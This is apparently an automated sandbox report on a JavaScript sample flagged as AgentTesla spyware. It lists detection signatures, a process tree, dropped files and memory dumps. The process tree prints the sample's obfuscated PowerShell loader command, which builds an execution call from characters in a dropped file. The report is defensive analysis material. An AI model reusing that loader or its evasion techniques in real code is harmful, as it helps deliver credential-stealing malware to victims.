Overview

overview

10

Static

static

1

_02d56e7d4...05a.js

windows10-2004-x64

10

_02d56e7d4...05a.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    94s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 08:30

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General

  • Target
    _02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a.js
  • Size 79KB
  • Sample260709-keltzsf14x
  • SHA256 02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarediscoveryexecutionagentteslakeyloggerpersistenceransomwarespywarestealertrojan

Malware Config

Extracted

Family

  • agenttesla

Credentials

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

    keyloggertrojanstealerspywareagenttesla
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Drops desktop.ini file(s) 3 IoCs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies registry class 62 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\_02d56e7d4db2ad5ae789463d8e4db36bf2c3803ce3b91baa2019c3fdbb5a905a.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4316
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\Lassoerne46
      2⤵
      • Modifies registry class
      PID:752
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Drops desktop.ini file(s)
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3092
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Skiftelaas='/app'+'data';$Tapsaml=gc ($HOME+$Skiftelaas+'/local/Arcturuswa');$Editor=$Tapsaml[3121]+$Tapsaml[3122]+$Tapsaml[3123]; . ($Editor) $Tapsaml"
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6100
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2856
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Skiftelaas='/app'+'data';$Tapsaml=gc ($HOME+$Skiftelaas+'/local/Arcturuswa');$Editor=$Tapsaml[3121]+$Tapsaml[3122]+$Tapsaml[3123]; . ($Editor) $Tapsaml"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2804
      • C:\Windows\SysWOW64\backgroundTaskHost.exe
        "C:\Windows\SysWOW64\backgroundTaskHost.exe"
        2⤵
          PID:4768
        • C:\Windows\SysWOW64\backgroundTaskHost.exe
          "C:\Windows\SysWOW64\backgroundTaskHost.exe"
          2⤵
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\SysWOW64\backgroundTaskHost.exe
            "C:\Windows\SysWOW64\backgroundTaskHost.exe"
            3⤵
              PID:5108
        • C:\Windows\system32\sihost.exe
          sihost.exe
          1⤵
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Windows\explorer.exe
            explorer.exe /LOADSAVEDWINDOWS
            2⤵
            • Boot or Logon Autostart Execution: Active Setup
            • Enumerates connected drives
            • Checks SCSI registry key(s)
            • Modifies Internet Explorer settings
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of SetWindowsHookEx
            PID:4864
        • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
          "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:5824
        • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
          "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
          1⤵
          • Modifies registry class
          • Suspicious use of SetWindowsHookEx
          PID:1616

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              ModuleAnalysisCache
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
              • Size 67KB
              • SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              StartupProfileData-NonInteractive
              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 7c5b334145d0a91710b4d958ccbedf88f185dc8442e76f8d0126e4b831c02d43
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 603B
              • SHA256 b346273b0f3e13afaa9f07d97248343c45a667a5e097d1198a449a4de187aebb
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              prep_Activatable Class_Hermes_perf.cache
              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
              • Size 607B
              • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              Gonoblas.Ban
              • Path C:\Users\Admin\AppData\Roaming\Gonoblas.Ban
              • Size 218KB
              • SHA256 72287fcec14ffc05513fcde3477d7119bee366c16f8c517d8b87cbed5c7aca2c
              • MD5 SHA1 SHA512 SSDEEP TLSH
              Submit Download

              Arcturuswa
              • Path C:\Users\Admin\appdata\local\Arcturuswa
              • Size 3KB
              • SHA256 6444ee8fb55f44f1a328a2a5e80b32cef35c93f8b60526d511c217c304765617
              • MD5 SHA1 SHA512 TLSH
              Submit Download

              memory/1400-223-0x00000000004C0000-0x0000000000504000-memory.dmp
              Download

              memory/1400-222-0x00000000004C0000-0x00000000017A6000-memory.dmp
              Download

              memory/1400-228-0x00000000203D0000-0x0000000020420000-memory.dmp
              Download

              memory/1400-221-0x00000000004C0000-0x00000000017A6000-memory.dmp
              Download

              memory/1400-229-0x0000000020AD0000-0x0000000020B6C000-memory.dmp
              Download

              memory/1400-230-0x0000000020D10000-0x0000000020DA2000-memory.dmp
              Download

              memory/1400-231-0x0000000020C80000-0x0000000020C8A000-memory.dmp
              Download

              memory/1616-56-0x0000019683A20000-0x0000019683A40000-memory.dmp
              Download

              memory/1616-48-0x0000019680220000-0x0000019680320000-memory.dmp
              Download

              memory/1616-57-0x0000019683E40000-0x0000019683F40000-memory.dmp
              Download

              memory/1616-76-0x0000019683E00000-0x0000019683E20000-memory.dmp
              Download

              memory/1616-94-0x0000019694200000-0x0000019694220000-memory.dmp
              Download

              memory/2804-21-0x0000000007690000-0x0000000007726000-memory.dmp
              Download

              memory/2804-218-0x000000000AFF0000-0x0000000010F18000-memory.dmp
              Download

              memory/2804-22-0x0000000006BC0000-0x0000000006BDA000-memory.dmp
              Download

              memory/2804-23-0x0000000006C30000-0x0000000006C52000-memory.dmp
              Download

              memory/2804-25-0x0000000008970000-0x0000000008FEC000-memory.dmp
              Download

              memory/2804-24-0x0000000007D30000-0x00000000082EA000-memory.dmp
              Download

              memory/2804-9-0x0000000002E80000-0x0000000002EB6000-memory.dmp
              Download

              memory/2804-19-0x00000000066F0000-0x000000000673C000-memory.dmp
              Download

              memory/2804-18-0x00000000066A0000-0x00000000066BE000-memory.dmp
              Download

              memory/2804-16-0x00000000061C0000-0x000000000651B000-memory.dmp
              Download

              memory/2804-13-0x00000000059F0000-0x0000000005A56000-memory.dmp
              Download

              memory/2804-12-0x0000000005980000-0x00000000059E6000-memory.dmp
              Download

              memory/2804-11-0x00000000058E0000-0x0000000005902000-memory.dmp
              Download

              memory/2804-10-0x0000000005A80000-0x00000000060CA000-memory.dmp
              Download

              memory/6100-3-0x0000029CBD890000-0x0000029CBD8B2000-memory.dmp
              Download